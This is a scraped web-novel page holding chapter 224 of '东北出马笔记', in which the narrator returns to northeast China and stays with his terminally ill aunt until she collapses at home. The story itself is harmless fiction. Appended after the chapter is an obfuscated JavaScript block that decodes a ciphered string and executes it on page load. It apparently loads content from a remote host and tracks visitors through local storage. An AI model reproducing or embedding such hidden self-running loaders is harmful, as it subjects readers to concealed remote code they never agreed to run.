返回

东北出马笔记

首页
关灯
护眼
字体:
第224章 归乡
最后挂电话之前,杭宇宙又在电话里问我,我要是回东北的话,他女儿怎么办?

我说她只能跟我一起去了,因为她现在已经算我收的猖兵,或者说灵鬼,不可能留在他身边了。

杭宇宙叹口气,对我说了最经典的一句话。

他说:“好吧,反正女儿长大也是要嫁人的,我就当……她找了个东北女婿,跟人家去黑龙江了。”

我顿时无语,心说谁是你女婿啊,别说你女儿已经变成了小鬼,就算她活着,我也未必看得上她啊……

更无语的是,杭宇宙还让我给他个账号,说要给我一笔钱,让我以后对他女儿好点。

我当然不会同意,就找个借口说马上要上火车了,让他不要胡思乱想,如果以后有缘,他女儿说不定会回去看他。

挂了电话后,我拖着行李箱刚上出租车,老张头的电话也打来了。

我倒是把他给忘了,电话里老张头跟我寒暄了一番,说是他在杭宇宙那边听说我要走了,打算要来送我。

我知道他就是跟我客气客气,于是就告诉他不用了,老于他们也想送我,但都被我拒绝了。

我来的时候是一个人,走的时候也是一个人,安安静静,谁也不打扰。

老张头也只好作罢,让我以后回南京的话,有事一定要找他。

下午两点多,我终于踏上了火车。

这一次我买了一张Z字头的卧铺票,倒不是为了舒坦,只求快些到达。

一路无话,归心似箭。

转过天的早上,我回到了哈尔滨,但是没出火车站,在站内直接中转,回到老家。

上一次回家,我是近乡情怯。

但这一次,我恨不得长出一对翅膀,两条飞毛腿,马上瞬移回家才好。

到姑姑家的时候,天色已近黄昏了。

怀着忐忑的心情推门进屋,我一眼就看见姑姑坐在院子里,正在包饺子。

姑姑听到声音抬头,和我四目相视的时候,她的脸上映着晚霞,笑容无比灿烂。

多年以后,每当我回想起那个场景,都会忍不住很伤感,但也会很幸福。

那是,姑姑留在我心底,永远的,最美的,最温暖的笑脸。

姑姑一家都在,他们知道我要回来的消息,都很高兴,这时候姑姑其实已经很虚弱的,但她还是亲自给我包了一顿饺子。

吃饭的时候,对于姑姑的病情我只字未提,之后才悄悄问姑父,姑姑的病到什么程度了。

姑父叹着气,从贴身的衣兜里拿出了一张诊断书。

他说,这是医院前些天开的,但是没敢给姑姑看,一直瞒着。

那个肿瘤已经再次复发了,先前明明一直控制的很好,可突然就怎么都不行了。

所以最近这段时间,姑姑出现各种症状,时常疼的扛不住,身体也越来越虚弱。

看着诊断书,我心情很是低落,但却出奇的有着一丝淡然。

或许是早就知道结果了吧,看到诊断书的时候,心里反而平静了。

我问姑父,姑姑平时有没有什么心愿,比如想去的地方,想做的事情,尽量满足她。

姑父也有点慌了,他问我,是不是这次是真的了?

我默默地点了点头,然后来到日历前面,一页一页的翻到了下个月的初八。

我还记得,那一天是周五。

姑父浑身颤抖起来,他蹲下去,捂住脸颊,无声的哭泣起来。

我抬头看向窗外,努力不让眼泪滑落。

姑父哽咽了半晌,才对我说,姑姑最大的心愿,就是我和妹妹好好长大,好好生活,希望这个家一切都好。

她从来都没有任何愿望是为了自己。

是啊,姑姑从来没有都没有为自己考虑过,心里想的都是我们。

那么,我还能为她,做点什么呢?

我想了整整一个晚上,一直到天快亮时,我才忽然想明白。

其实对于姑姑来说,只要我们在她身边,就是她最大的心愿了。

除此之外,她还会在意什么呢?

于是,接下来的几天,我什么都没做,就是每天都陪在姑姑身旁。

就像小时候一样。

我给家里做饭,干活,陪她出去逛逛街,赶赶集。

我还给她买了几套衣服,姑姑嘴里说着不需要别乱花钱,可穿上的时候,嘴都乐的合不拢了。

她还惦记着我的工作,说让我待几天就回去,请假时间久了不好,既然拿了老板的工资,就要对工作负责。

她说,做人要有始有终。

我并没告诉姑姑,我是辞职回来的,为了不让她担心,我说我现在是南京那边的老大,所有人都听我的。

姑姑这才放下心,见人就夸我出息了。

只有妹妹放学回来就躲在房间里哭,她也知道,我这个时候回来,说明事情已经很糟糕了。

我能做的也只能是安慰她,让她以后无论面对什么,都要坚强勇敢。

但有一件事让我很意外,那就是自打我回来之后,姑姑的病痛减轻了很多,整个人就像是忽然恢复了健康一样。

但我用手触按她的患处,里面还是很明显有一个肿块。

姑姑并不知道自己的日子不多了,她很乐观,说人的命天注定,胡思乱想没有用,老天爷让你三更死,你也活不到五更时。

我很想跟姑姑说,这种事其实是归阎王爷管的,但我忍住了,都到这个时候了,就别跟她提什么阎王爷了,晦气。

就这样,日子每一天都过得很充实,但也很快。

那个要命的日子,终究还是来了。

农历的七月七就是乞巧节,也叫七夕节,那天的黄昏刚刚降临,姑姑就倒下了。

当时我正和姑姑在院子里看夕阳,她就忽然像一片风中的落叶,无声无息的倒在了我的怀里。

她的脸色蜡黄一片,不住地喘息着,等我把她抱到屋子里时,她已经全身绵软,无法起身了。

姑父急了,想要送姑姑去医院,但姑姑摇头拒绝了,她挣扎着说了一句话。

“人要死,还是在家里踏实。”

姑姑原来什么都知道,只是一直故作乐观,不跟我们说罢了。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();